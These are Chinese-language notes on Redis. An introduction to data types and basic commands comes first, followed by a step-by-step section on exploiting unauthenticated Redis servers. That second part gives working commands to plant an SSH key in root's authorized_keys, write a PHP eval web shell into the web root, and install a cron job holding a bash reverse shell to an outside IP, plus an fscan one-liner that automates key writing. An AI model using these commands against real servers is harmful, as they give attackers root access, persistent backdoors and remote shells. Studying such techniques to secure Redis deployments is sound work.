Redis
Redis是一个内存数据结构存储器,通常用作数据库、缓存和消息代理。Redis中,数据是通过键值对的形式存储的。每个键都是一个字符串,而值可以是以下几种数据类型之一:
- 字符串(String):字符串是最基本的数据类型,可以存储任意二进制数据,如文本、图片、JSON等。
- 哈希(Hash):哈希存储的是字段(field)和值(value)的映射关系。哈希适用于存储对象,每个对象可以有多个字段。
- 列表(List):列表是一个按照插入顺序排序的字符串元素集合。列表可以从两端进行插入和删除操作,常用于实现队列、栈、排行榜等功能。
- 集合(Set):集合是一组无序、唯一且不重复的字符串元素的集合。可以对集合进行交集、并集、差集等操作,还可以快速判断元素是否存在于集合中。
- 有序集合(Sorted Set):有序集合是一组唯一且不重复的元素的有序集合,每个元素都与一个分数相关联。有序集合可以根据分数进行范围查询和排名。
Redis命令操作
1.设置键值对:
SET key value // 设置键key的值为value
GET key // 获取键key的值
2.列表操作:
LPUSH key value // 在列表key的左侧插入元素value
RPUSH key value // 在列表key的右侧插入元素value
LPOP key // 移除并返回列表key的左侧第一个元素
RPOP key // 移除并返回列表key的右侧第一个元素
3.集合操作:
SADD key member // 将元素member添加到集合key中
SMEMBERS key // 获取集合key中的所有元素
SREM key member // 从集合key中移除元素member
一、Redis 未授权漏洞
Redis采用默认配置,不会有密码认证和限制命令,这个问题导致了Redis未授权访问漏洞。
可以使用
redis-cli -h 服务器ip
二、SSH公钥写入
生成ssh公钥和私钥后将公钥上传到redis服务器里面,通过私钥文件连接。
更改redis备份路径为/root/.ssh,并修改上传公钥文件的名称为 authorized_keys
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa ...公钥...\n\n\n"
save
\ssh -i id_rsa root@ip
三、一句话
config set dir /var/www/html/ // 必须知道网站目录
config set dbfilename shell.php
set x "<?php eval($_POST['cmd']);?>"
或者:
set shell "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
save
exit
四、反弹shell
nc -lvnp 4444
redis-cli -h ip #登陆到redis数据库
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.112.128/4444 0>&1\n"
config set dir /var/spool/cron #设置工作目录
config set dbfilename root #设置文件名,当前用户叫啥就得命名为啥,当前用户为root
save #保存
exit
五、fscan内网穿透
写入ssh公钥
./fscan_amd64 -h ip -np -nopoc -no -rf id_rsa.pub -m redis
ssh链接
ssh -i id_rsa root@ip